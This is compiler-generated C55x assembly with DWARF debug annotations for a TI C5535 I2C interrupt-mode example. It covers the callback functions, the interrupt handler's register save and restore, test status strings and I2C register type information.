"../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 576,column 1,is_stmt $C$DW$140 .dwtag DW_TAG_TI_branch .dwattr $C$DW$140, DW_AT_low_pc(0x00) .dwattr $C$DW$140, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$139, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$139, DW_AT_TI_end_line(0x240) .dwattr $C$DW$139, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$139 .sect ".text" .align 4 .global _CSL_i2cArdyCallback $C$DW$141 .dwtag DW_TAG_subprogram, DW_AT_name("CSL_i2cArdyCallback") .dwattr $C$DW$141, DW_AT_low_pc(_CSL_i2cArdyCallback) .dwattr $C$DW$141, DW_AT_high_pc(0x00) .dwattr $C$DW$141, DW_AT_TI_symbol_name("_CSL_i2cArdyCallback") .dwattr $C$DW$141, DW_AT_external .dwattr $C$DW$141, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$141, DW_AT_TI_begin_line(0x249) .dwattr $C$DW$141, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$141, DW_AT_TI_max_frame_size(0x01) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 586,column 1,is_stmt,address _CSL_i2cArdyCallback .dwfde $C$DW$CIE, _CSL_i2cArdyCallback ;******************************************************************************* ;* FUNCTION NAME: CSL_i2cArdyCallback * ;* * ;* Function Uses Regs : SP,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 1 word * ;* (1 return address/alignment) * ;* Min System Stack : 1 word * ;******************************************************************************* _CSL_i2cArdyCallback: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 588,column 1,is_stmt $C$DW$142 .dwtag DW_TAG_TI_branch .dwattr $C$DW$142, DW_AT_low_pc(0x00) .dwattr $C$DW$142, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$141, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$141, DW_AT_TI_end_line(0x24c) .dwattr $C$DW$141, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$141 .sect ".text" .align 4 .global _CSL_i2cRxCallback $C$DW$143 .dwtag DW_TAG_subprogram, DW_AT_name("CSL_i2cRxCallback") .dwattr $C$DW$143, DW_AT_low_pc(_CSL_i2cRxCallback) .dwattr $C$DW$143, DW_AT_high_pc(0x00) .dwattr $C$DW$143, DW_AT_TI_symbol_name("_CSL_i2cRxCallback") .dwattr $C$DW$143, DW_AT_external .dwattr $C$DW$143, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$143, DW_AT_TI_begin_line(0x255) .dwattr $C$DW$143, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$143, DW_AT_TI_max_frame_size(0x01) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 598,column 1,is_stmt,address _CSL_i2cRxCallback .dwfde $C$DW$CIE, _CSL_i2cRxCallback ;******************************************************************************* ;* FUNCTION NAME: CSL_i2cRxCallback * ;* * ;* Function Uses Regs : T0,AR1,AR3,XAR3,SP,CARRY,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 1 word * ;* (1 return address/alignment) * ;* Min System Stack : 1 word * ;******************************************************************************* _CSL_i2cRxCallback: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 599,column 2,is_stmt MOV *(#_i2cRxCount), T0 ; |599| ADD #1, T0, AR1 ; |599| MOV AR1, *(#_i2cRxCount) ; |599| MOV *port(#6680), AR1 ; |599| AMOV #_gI2cRdBuf, XAR3 ; |599| MOV AR1, *AR3(T0) ; |599| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 600,column 2,is_stmt SUB #1, *(#_dataLength) ; |600| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 601,column 1,is_stmt $C$DW$144 .dwtag DW_TAG_TI_branch .dwattr $C$DW$144, DW_AT_low_pc(0x00) .dwattr $C$DW$144, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$143, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$143, DW_AT_TI_end_line(0x259) .dwattr $C$DW$143, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$143 .sect ".text" .align 4 .global _CSL_i2cTxCallback $C$DW$145 .dwtag DW_TAG_subprogram, DW_AT_name("CSL_i2cTxCallback") .dwattr $C$DW$145, DW_AT_low_pc(_CSL_i2cTxCallback) .dwattr $C$DW$145, DW_AT_high_pc(0x00) .dwattr $C$DW$145, DW_AT_TI_symbol_name("_CSL_i2cTxCallback") .dwattr $C$DW$145, DW_AT_external .dwattr $C$DW$145, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$145, DW_AT_TI_begin_line(0x262) .dwattr $C$DW$145, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$145, DW_AT_TI_max_frame_size(0x01) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 611,column 1,is_stmt,address _CSL_i2cTxCallback .dwfde $C$DW$CIE, _CSL_i2cTxCallback ;******************************************************************************* ;* FUNCTION NAME: CSL_i2cTxCallback * ;* * ;* Function Uses Regs : T0,AR1,AR3,XAR3,SP,CARRY,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 1 word * ;* (1 return address/alignment) * ;* Min System Stack : 1 word * ;******************************************************************************* _CSL_i2cTxCallback: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 612,column 2,is_stmt MOV *(#_i2cTxCount), T0 ; |612| AMOV #_gI2cWrBuf, XAR3 ; |612| ADD #1, T0, AR1 ; |612| MOV AR1, *(#_i2cTxCount) ; |612| MOV *AR3(T0), AR1 ; |612| MOV AR1, *port(#6688) ; |612| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 613,column 2,is_stmt SUB #1, *(#_dataLength) ; |613| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 614,column 1,is_stmt $C$DW$146 .dwtag DW_TAG_TI_branch .dwattr $C$DW$146, DW_AT_low_pc(0x00) .dwattr $C$DW$146, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$145, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$145, DW_AT_TI_end_line(0x266) .dwattr $C$DW$145, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$145 .sect ".text" .align 4 .global _CSL_i2cScdCallback $C$DW$147 .dwtag DW_TAG_subprogram, DW_AT_name("CSL_i2cScdCallback") .dwattr $C$DW$147, DW_AT_low_pc(_CSL_i2cScdCallback) .dwattr $C$DW$147, DW_AT_high_pc(0x00) .dwattr $C$DW$147, DW_AT_TI_symbol_name("_CSL_i2cScdCallback") .dwattr $C$DW$147, DW_AT_external .dwattr $C$DW$147, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$147, DW_AT_TI_begin_line(0x26f) .dwattr $C$DW$147, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$147, DW_AT_TI_max_frame_size(0x01) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 624,column 1,is_stmt,address _CSL_i2cScdCallback .dwfde $C$DW$CIE, _CSL_i2cScdCallback ;******************************************************************************* ;* FUNCTION NAME: CSL_i2cScdCallback * ;* * ;* Function Uses Regs : SP,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 1 word * ;* (1 return address/alignment) * ;* Min System Stack : 1 word * ;******************************************************************************* _CSL_i2cScdCallback: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 625,column 2,is_stmt MOV #1, *(#_stopDetected) ; |625| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 626,column 1,is_stmt $C$DW$148 .dwtag DW_TAG_TI_branch .dwattr $C$DW$148, DW_AT_low_pc(0x00) .dwattr $C$DW$148, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$147, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$147, DW_AT_TI_end_line(0x272) .dwattr $C$DW$147, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$147 .sect ".text" .align 4 .global _CSL_i2cAasCallback $C$DW$149 .dwtag DW_TAG_subprogram, DW_AT_name("CSL_i2cAasCallback") .dwattr $C$DW$149, DW_AT_low_pc(_CSL_i2cAasCallback) .dwattr $C$DW$149, DW_AT_high_pc(0x00) .dwattr $C$DW$149, DW_AT_TI_symbol_name("_CSL_i2cAasCallback") .dwattr $C$DW$149, DW_AT_external .dwattr $C$DW$149, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$149, DW_AT_TI_begin_line(0x27b) .dwattr $C$DW$149, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$149, DW_AT_TI_max_frame_size(0x01) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 636,column 1,is_stmt,address _CSL_i2cAasCallback .dwfde $C$DW$CIE, _CSL_i2cAasCallback ;******************************************************************************* ;* FUNCTION NAME: CSL_i2cAasCallback * ;* * ;* Function Uses Regs : SP,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 1 word * ;* (1 return address/alignment) * ;* Min System Stack : 1 word * ;******************************************************************************* _CSL_i2cAasCallback: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 638,column 1,is_stmt $C$DW$150 .dwtag DW_TAG_TI_branch .dwattr $C$DW$150, DW_AT_low_pc(0x00) .dwattr $C$DW$150, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$149, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$149, DW_AT_TI_end_line(0x27e) .dwattr $C$DW$149, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$149 .sect ".text:retain" .align 4 .global _i2c_isr $C$DW$151 .dwtag DW_TAG_subprogram, DW_AT_name("i2c_isr") .dwattr $C$DW$151, DW_AT_low_pc(_i2c_isr) .dwattr $C$DW$151, DW_AT_high_pc(0x00) .dwattr $C$DW$151, DW_AT_TI_symbol_name("_i2c_isr") .dwattr $C$DW$151, DW_AT_external .dwattr $C$DW$151, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$151, DW_AT_TI_begin_line(0x287) .dwattr $C$DW$151, DW_AT_TI_begin_column(0x10) .dwattr $C$DW$151, DW_AT_TI_interrupt .dwattr $C$DW$151, DW_AT_TI_max_frame_size(0x2f) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 648,column 1,is_stmt,address _i2c_isr .dwfde $C$DW$CIE, _i2c_isr ;******************************************************************************* ;* INTERRUPT NAME: i2c_isr * ;* * ;* Function Uses Regs : AC0,AC0,AC1,AC1,AC2,AC2,AC3,AC3,T0,T1,AR0,AR1,AR2, * ;* AR3,XAR3,AR4,SP,BKC,BK03,BK47,ST1,ST2,ST3,BRC0,RSA0, * ;* REA0,BRS1,BRC1,RSA1,REA1,CSR,RPTC,CDP,TRN0,TRN1, * ;* BSA01,BSA23,BSA45,BSA67,BSAC,CARRY,M40,SATA,SATD,RDM,* ;* FRCT,SMUL * ;* Save On Entry Regs : AC0,AC0,AC1,AC1,AC2,AC2,AC3,AC3,T0,T1,AR0,AR1,AR2, * ;* AR3,AR4,BKC,BK03,BK47,BRC0,RSA0,REA0,BRS1,BRC1,RSA1, * ;* REA1,CSR,RPTC,CDP,TRN0,TRN1,BSA01,BSA23,BSA45,BSA67, * ;* BSAC * ;******************************************************************************* _i2c_isr: .dwcfi cfa_offset, 3 .dwcfi save_reg_to_mem, 91, -3 AND #0xf91f, mmap(ST1_55) OR #0x4100, mmap(ST1_55) AND #0xfa00, mmap(ST2_55) OR #0x8000, mmap(ST2_55) PSH mmap(ST3_55) .dwcfi cfa_offset, 4 .dwcfi save_reg_to_mem, 42, -4 PSH dbl(AC0) .dwcfi cfa_offset, 5 .dwcfi save_reg_to_mem, 0, -5 .dwcfi cfa_offset, 6 .dwcfi save_reg_to_mem, 1, -6 PSH mmap(AC0G) .dwcfi cfa_offset, 7 .dwcfi save_reg_to_mem, 2, -7 PSH dbl(AC1) .dwcfi cfa_offset, 8 .dwcfi save_reg_to_mem, 3, -8 .dwcfi cfa_offset, 9 .dwcfi save_reg_to_mem, 4, -9 PSH mmap(AC1G) .dwcfi cfa_offset, 10 .dwcfi save_reg_to_mem, 5, -10 PSH dbl(AC2) .dwcfi cfa_offset, 11 .dwcfi save_reg_to_mem, 6, -11 .dwcfi cfa_offset, 12 .dwcfi save_reg_to_mem, 7, -12 PSH mmap(AC2G) .dwcfi cfa_offset, 13 .dwcfi save_reg_to_mem, 8, -13 PSH dbl(AC3) .dwcfi cfa_offset, 14 .dwcfi save_reg_to_mem, 9, -14 .dwcfi cfa_offset, 15 .dwcfi save_reg_to_mem, 10, -15 PSH mmap(AC3G) .dwcfi cfa_offset, 16 .dwcfi save_reg_to_mem, 11, -16 PSH T0 .dwcfi cfa_offset, 17 .dwcfi save_reg_to_mem, 12, -17 PSH T1 .dwcfi cfa_offset, 18 .dwcfi save_reg_to_mem, 13, -18 PSHBOTH XAR0 .dwcfi cfa_offset, 19 .dwcfi save_reg_to_mem, 16, -19 PSHBOTH XAR1 .dwcfi cfa_offset, 20 .dwcfi save_reg_to_mem, 18, -20 PSHBOTH XAR2 .dwcfi cfa_offset, 21 .dwcfi save_reg_to_mem, 20, -21 PSHBOTH XAR3 .dwcfi cfa_offset, 22 .dwcfi save_reg_to_mem, 22, -22 PSHBOTH XAR4 .dwcfi cfa_offset, 23 .dwcfi save_reg_to_mem, 24, -23 PSH mmap(BKC) .dwcfi cfa_offset, 24 .dwcfi save_reg_to_mem, 37, -24 PSH mmap(BK03) .dwcfi cfa_offset, 25 .dwcfi save_reg_to_mem, 38, -25 PSH mmap(BK47) .dwcfi cfa_offset, 26 .dwcfi save_reg_to_mem, 39, -26 PSH mmap(BRC0) .dwcfi cfa_offset, 27 .dwcfi save_reg_to_mem, 47, -27 PSH mmap(RSA0L) .dwcfi cfa_offset, 28 .dwcfi save_reg_to_mem, 48, -28 PSH mmap(RSA0H) .dwcfi cfa_offset, 29 .dwcfi save_reg_to_mem, 49, -29 PSH mmap(REA0L) .dwcfi cfa_offset, 30 .dwcfi save_reg_to_mem, 50, -30 PSH mmap(REA0H) .dwcfi cfa_offset, 31 .dwcfi save_reg_to_mem, 51, -31 PSH mmap(BRS1) .dwcfi cfa_offset, 32 .dwcfi save_reg_to_mem, 52, -32 PSH mmap(BRC1) .dwcfi cfa_offset, 33 .dwcfi save_reg_to_mem, 53, -33 PSH mmap(RSA1L) .dwcfi cfa_offset, 34 .dwcfi save_reg_to_mem, 54, -34 PSH mmap(RSA1H) .dwcfi cfa_offset, 35 .dwcfi save_reg_to_mem, 55, -35 PSH mmap(REA1L) .dwcfi cfa_offset, 36 .dwcfi save_reg_to_mem, 56, -36 PSH mmap(REA1H) .dwcfi cfa_offset, 37 .dwcfi save_reg_to_mem, 57, -37 PSH mmap(CSR) .dwcfi cfa_offset, 38 .dwcfi save_reg_to_mem, 58, -38 PSH mmap(RPTC) .dwcfi cfa_offset, 39 .dwcfi save_reg_to_mem, 59, -39 PSHBOTH XCDP .dwcfi cfa_offset, 40 .dwcfi save_reg_to_mem, 60, -40 PSH mmap(TRN0) .dwcfi cfa_offset, 41 .dwcfi save_reg_to_mem, 62, -41 PSH mmap(TRN1) .dwcfi cfa_offset, 42 .dwcfi save_reg_to_mem, 63, -42 PSH mmap(BSA01) .dwcfi cfa_offset, 43 .dwcfi save_reg_to_mem, 64, -43 PSH mmap(BSA23) .dwcfi cfa_offset, 44 .dwcfi save_reg_to_mem, 65, -44 PSH mmap(BSA45) .dwcfi cfa_offset, 45 .dwcfi save_reg_to_mem, 66, -45 PSH mmap(BSA67) .dwcfi cfa_offset, 46 .dwcfi save_reg_to_mem, 67, -46 PSH mmap(BSAC) .dwcfi cfa_offset, 47 .dwcfi save_reg_to_mem, 68, -47 AMAR *SP(#0), XAR1 AND #0xfffe, mmap(SP) PSH AR1 AADD #-1, SP .dwcfi cfa_offset, 47 $C$DW$152 .dwtag DW_TAG_variable, DW_AT_name("eventId") .dwattr $C$DW$152, DW_AT_TI_symbol_name("_eventId") .dwattr $C$DW$152, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$152, DW_AT_location[DW_OP_bregx 0x24 0] .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 651,column 2,is_stmt BSET ST3_SMUL BCLR ST3_SATA $C$DW$153 .dwtag DW_TAG_TI_branch .dwattr $C$DW$153, DW_AT_low_pc(0x00) .dwattr $C$DW$153, DW_AT_name("_I2C_getEventId") .dwattr $C$DW$153, DW_AT_TI_call CALL #_I2C_getEventId ; |651| ; call occurs [#_I2C_getEventId] ; |651| MOV T0, *SP(#0) ; |651| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 653,column 2,is_stmt MOV T0, AR1 BCC $C$L52,AR1 == #0 ; |653| ; branchcc occurs ; |653| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 655,column 3,is_stmt MOV dbl(*(#_i2cHandle)), XAR3 SUB #1, AR1 ; |655| SFTL AR1, #1 ; |655| AADD AR1, AR3 ; |655| MOV dbl(*AR3(short(#2))), AC0 ; |655| $C$DW$154 .dwtag DW_TAG_TI_branch .dwattr $C$DW$154, DW_AT_low_pc(0x00) .dwattr $C$DW$154, DW_AT_TI_call .dwattr $C$DW$154, DW_AT_TI_indirect CALL AC0 ; |655| ; call occurs [AC0] ; |655| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 657,column 1,is_stmt $C$L52: AADD #1, SP .dwcfi cfa_offset, 47 POP mmap(SP) POP mmap(BSAC) .dwcfi restore_reg, 68 .dwcfi cfa_offset, 46 POP mmap(BSA67) .dwcfi restore_reg, 67 .dwcfi cfa_offset, 45 POP mmap(BSA45) .dwcfi restore_reg, 66 .dwcfi cfa_offset, 44 POP mmap(BSA23) .dwcfi restore_reg, 65 .dwcfi cfa_offset, 43 POP mmap(BSA01) .dwcfi restore_reg, 64 .dwcfi cfa_offset, 42 POP mmap(TRN1) .dwcfi restore_reg, 63 .dwcfi cfa_offset, 41 POP mmap(TRN0) .dwcfi restore_reg, 62 .dwcfi cfa_offset, 40 POPBOTH XCDP .dwcfi restore_reg, 60 .dwcfi cfa_offset, 39 POP mmap(RPTC) .dwcfi restore_reg, 59 .dwcfi cfa_offset, 38 POP mmap(CSR) .dwcfi restore_reg, 58 .dwcfi cfa_offset, 37 POP mmap(REA1H) .dwcfi restore_reg, 57 .dwcfi cfa_offset, 36 POP mmap(REA1L) .dwcfi restore_reg, 56 .dwcfi cfa_offset, 35 POP mmap(RSA1H) .dwcfi restore_reg, 55 .dwcfi cfa_offset, 34 POP mmap(RSA1L) .dwcfi restore_reg, 54 .dwcfi cfa_offset, 33 POP mmap(BRC1) .dwcfi restore_reg, 53 .dwcfi cfa_offset, 32 POP mmap(BRS1) .dwcfi restore_reg, 52 .dwcfi cfa_offset, 31 POP mmap(REA0H) .dwcfi restore_reg, 51 .dwcfi cfa_offset, 30 POP mmap(REA0L) .dwcfi restore_reg, 50 .dwcfi cfa_offset, 29 POP mmap(RSA0H) .dwcfi restore_reg, 49 .dwcfi cfa_offset, 28 POP mmap(RSA0L) .dwcfi restore_reg, 48 .dwcfi cfa_offset, 27 POP mmap(BRC0) .dwcfi restore_reg, 47 .dwcfi cfa_offset, 26 POP mmap(BK47) .dwcfi restore_reg, 39 .dwcfi cfa_offset, 25 POP mmap(BK03) .dwcfi restore_reg, 38 .dwcfi cfa_offset, 24 POP mmap(BKC) .dwcfi restore_reg, 37 .dwcfi cfa_offset, 23 POPBOTH XAR4 .dwcfi restore_reg, 24 .dwcfi cfa_offset, 22 POPBOTH XAR3 .dwcfi restore_reg, 22 .dwcfi cfa_offset, 21 POPBOTH XAR2 .dwcfi restore_reg, 20 .dwcfi cfa_offset, 20 POPBOTH XAR1 .dwcfi restore_reg, 18 .dwcfi cfa_offset, 19 POPBOTH XAR0 .dwcfi restore_reg, 16 .dwcfi cfa_offset, 18 POP T1 .dwcfi restore_reg, 13 .dwcfi cfa_offset, 17 POP T0 .dwcfi restore_reg, 12 .dwcfi cfa_offset, 16 POP mmap(AC3G) .dwcfi restore_reg, 11 .dwcfi cfa_offset, 15 .dwcfi restore_reg, 10 .dwcfi cfa_offset, 14 POP dbl(AC3) .dwcfi restore_reg, 9 .dwcfi cfa_offset, 13 POP mmap(AC2G) .dwcfi restore_reg, 8 .dwcfi cfa_offset, 12 .dwcfi restore_reg, 7 .dwcfi cfa_offset, 11 POP dbl(AC2) .dwcfi restore_reg, 6 .dwcfi cfa_offset, 10 POP mmap(AC1G) .dwcfi restore_reg, 5 .dwcfi cfa_offset, 9 .dwcfi restore_reg, 4 .dwcfi cfa_offset, 8 POP dbl(AC1) .dwcfi restore_reg, 3 .dwcfi cfa_offset, 7 POP mmap(AC0G) .dwcfi restore_reg, 2 .dwcfi cfa_offset, 6 .dwcfi restore_reg, 1 .dwcfi cfa_offset, 5 POP dbl(AC0) .dwcfi restore_reg, 0 .dwcfi cfa_offset, 4 POP mmap(ST3_55) .dwcfi restore_reg, 43 .dwcfi cfa_offset, 3 $C$DW$155 .dwtag DW_TAG_TI_branch .dwattr $C$DW$155, DW_AT_low_pc(0x00) .dwattr $C$DW$155, DW_AT_TI_return RETI ; return occurs .dwattr $C$DW$151, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$151, DW_AT_TI_end_line(0x291) .dwattr $C$DW$151, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$151 ;******************************************************************************* ;* FAR STRINGS * ;******************************************************************************* .sect ".const:.string" .align 2 $C$FSL1: .string "I2C INTERRUPT MODE TEST!",10,10,0 .align 2 $C$FSL2: .string 10,"I2C INTERRUPT MODE TEST PASSED!!",10,0 .align 2 $C$FSL3: .string 10,"I2C INTERRUPT MODE TEST FAILED!!",10,0 .align 2 $C$FSL4: .string "I2C Init Failed!!",10,0 .align 2 $C$FSL5: .string "I2C Set callback Failed!!",10,0 .align 2 $C$FSL6: .string "I2C Config Failed!!",10,0 .align 2 $C$FSL7: .string "I2C Get Config Failed!!",10,0 .align 2 $C$FSL8: .string "I2C get config not matching with config values!!",10,0 .align 2 $C$FSL9: .string "I2C Event enable Failed!!",10,0 .align 2 $C$FSL10: .string "I2C NACK ERROR during TX",10,0 .align 2 $C$FSL11: .string "I2C Event disable Failed!!",10,0 .align 2 $C$FSL12: .string "I2C Write compltete",10,0 .align 2 $C$FSL13: .string "I2C Read compltete",10,0 .align 2 $C$FSL14: .string "Read Write Buffers Does not Match!!",10,0 .align 2 $C$FSL15: .string "Read Write Buffers Match!!",10,0 ;****************************************************************************** ;* UNDEFINED EXTERNAL REFERENCES * ;****************************************************************************** .global _printf .global _I2C_init .global _I2C_config .global _I2C_getConfig .global _I2C_eventEnable .global _I2C_eventDisable .global _I2C_setCallback .global _I2C_getEventId .global _IRQ_plug .global _IRQ_clearAll .global _IRQ_disableAll .global _IRQ_enable .global _IRQ_setVecs .global _IRQ_globalDisable .global _IRQ_globalEnable .global _VECSTART .global _i2cHandle ;******************************************************************************* ;* TYPE INFORMATION * ;******************************************************************************* $C$DW$T$22 .dwtag DW_TAG_structure_type .dwattr $C$DW$T$22, DW_AT_byte_size(0x39) $C$DW$156 .dwtag DW_TAG_member .dwattr $C$DW$156, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$156, DW_AT_name("ICOAR") .dwattr $C$DW$156, DW_AT_TI_symbol_name("_ICOAR") .dwattr $C$DW$156, DW_AT_data_member_location[DW_OP_plus_uconst 0x0] .dwattr $C$DW$156, DW_AT_accessibility(DW_ACCESS_public) $C$DW$157 .dwtag DW_TAG_member .dwattr $C$DW$157, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$157, DW_AT_name("RSVD0") .dwattr $C$DW$157, DW_AT_TI_symbol_name("_RSVD0") .dwattr $C$DW$157, DW_AT_data_member_location[DW_OP_plus_uconst 0x1] .dwattr $C$DW$157, DW_AT_accessibility(DW_ACCESS_public) $C$DW$158 .dwtag DW_TAG_member .dwattr $C$DW$158, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$158, DW_AT_name("ICIMR") .dwattr $C$DW$158, DW_AT_TI_symbol_name("_ICIMR") .dwattr $C$DW$158, DW_AT_data_member_location[DW_OP_plus_uconst 0x4] .dwattr $C$DW$158, DW_AT_accessibility(DW_ACCESS_public) $C$DW$159 .dwtag DW_TAG_member .dwattr $C$DW$159, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$159, DW_AT_name("RSVD1") .dwattr $C$DW$159, DW_AT_TI_symbol_name("_RSVD1") .dwattr $C$DW$159, DW_AT_data_member_location[DW_OP_plus_uconst 0x5] .dwattr $C$DW$159, DW_AT_accessibility(DW_ACCESS_public) $C$DW$160 .dwtag DW_TAG_member .dwattr $C$DW$160, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$160, DW_AT_name("ICSTR") .dwattr $C$DW$160, DW_AT_TI_symbol_name("_ICSTR") .dwattr $C$DW$160, DW_AT_data_member_location[DW_OP_plus_uconst 0x8] .dwattr $C$DW$160, DW_AT_accessibility(DW_ACCESS_public) 